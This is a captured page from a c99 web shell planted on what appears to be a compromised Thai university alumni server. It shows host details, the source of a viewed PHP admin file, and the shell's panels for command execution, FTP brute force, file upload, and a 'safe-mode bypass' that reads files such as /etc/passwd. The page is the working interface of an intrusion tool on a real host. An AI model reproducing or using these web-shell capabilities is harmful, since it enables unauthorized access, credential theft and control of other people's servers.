!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addprogramalumni.php (5.78 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../link/function.php";
include_once 
"../class/clsprogramalumni.php";
confirmSubmit();
$oPg = new ProgramAlumni($oC1);
?>
<script language="JavaScript1.2">
function checkFormat(){
    if(document.ps.programalumniName.value==""){
        alert("กรุณากรอกชื่อหลักสูตร !");
        return false;
    }
}
</script>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="adminIndex.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> ข้อมูลหลักสูตร</font></legend>
            <label><div align="center"><br><table width="550" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr><td align="center" colspan="2"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>ข้อมูลหลักสูตร</strong></font></td></tr>
                  <tr > 
              <td height="20" colspan="2" align="right"><a href="printprogramalumni.php" target="_blank"><img src="../picture/print.gif" width="15" height="14" border="0"></a><br><br></td>
            </tr>
                <tr>
                    <td colspan="2"><table width="550" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                        <tr>
                            <td colspan="5" align="center"><form name="ps" method="post" action="processprogramalumni.php">
                            <table width="396" align="center" border="0">
                                <tr>
                                    <td align="left" width="187"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อหลักสูตร</b></font></td>
                                    <td align="left" width="2">&nbsp;</td>
                                    <td align="left" width="193"><input type="text" name="programalumniName" size="24">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr>
                                    <td colspan="3" align="center"><br><input type="submit" name="add" value="บันทึก"  onClick = "return checkFormat()" >
                                    <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                                    <input type="hidden" name="method" value="add"></td>
                                </tr>                                
                            </table></form><br><br></td>
                        </tr>
                         <tr>
                  <td align="right" colspan="5">
                  <form name="pf" method="post" action="<?php echo $PHP_SELF;?>">
                  <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ชื่อหลักสูตร</b></font>
                                <input type="text" name="psearch">
                                <input type="submit" name="search" value="ค้นหา" >
                    </font></form></td>
                    
                  </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                            <td width="102"   height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ลำดับ</strong></font></td>
                            <td width="316"  height="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ชื่อหลักสูตร</strong></font></td>
                            <td width="67"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>แก้ไข</strong></font></td>
                            <td width="55"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ลบ</strong></font></td>
                        </tr>
<?php 
                $oPg
->RSProgramAlumniNameId($psearch);
                
$record $oPg->GetRowSelected();
                if (
$pg==""
                    
$pg=1;
                
$i = ($pg-1)*$GLOBALS["rowPerPage"];
                
$oPg->NextPage($pg);
                 while(
$oPg->GetRecord()) {
                            if((
$i%2) == 0)
                                echo 
"<tr>";
                            else
                                echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>                                                          
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $i+1;?></font></td>
                            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oPg->programalumniName;?></font></td>
                            <td align="center"><a href="editprogramalumni.php?pg=<? echo $pg?>&programalumniId=<?php echo $oPg->programalumniId;?>&psearch=<? echo $psearch?>"><img src="../picture/editnew.gif" width="23" height="19" align="absmiddle" border="0"></a></td>
                            <td align="center"><a href="processprogramalumni.php?programalumniId=<?php echo $oPg->programalumniId;?>&method=delete" onClick='return confirmSubmit("คุณต้องการลบข้อมูลแน่นอนใช่หรือไม่ ?")'><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a></td>
                        </tr>
<?php
                            $i
++;
                        }
                        
                        if((
$record) == 0){
?>
                        <tr>
                            <td colspan="5" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    
              <td align="left"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">หน้า-&gt; 
<?php
                $mxPage
=$oPg->NumPage();    
                for(
$i=1;$i<=$mxPage;$i++){
                        if(
$i == $pg)
                            echo 
$i." ";
                        else {
?>
                            <a href="addprogramalumni.php?pg=<?php echo $i;?>&psearch=<? echo $psearch?>"><?php echo '[ '.$i.' ]'; if($i==9){echo "<br>";}?></a>
<?php
                        
}
                    }
?>
                </font></td>
              <td align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">รวม <?php echo $record;?>
                รายการ</font></td>
                </tr>
                <tr>
                    <td align="left" colspan="2"><input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href = '?mm=1'"></td>
                </tr>
            </table></div></label>
        </fieldset><br><table width="93%" align="left" border="0" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
        <tr> 
          <td height="20" align="left" > <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></tr>
      </table></td>
    </tr>
</table>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0101 ]--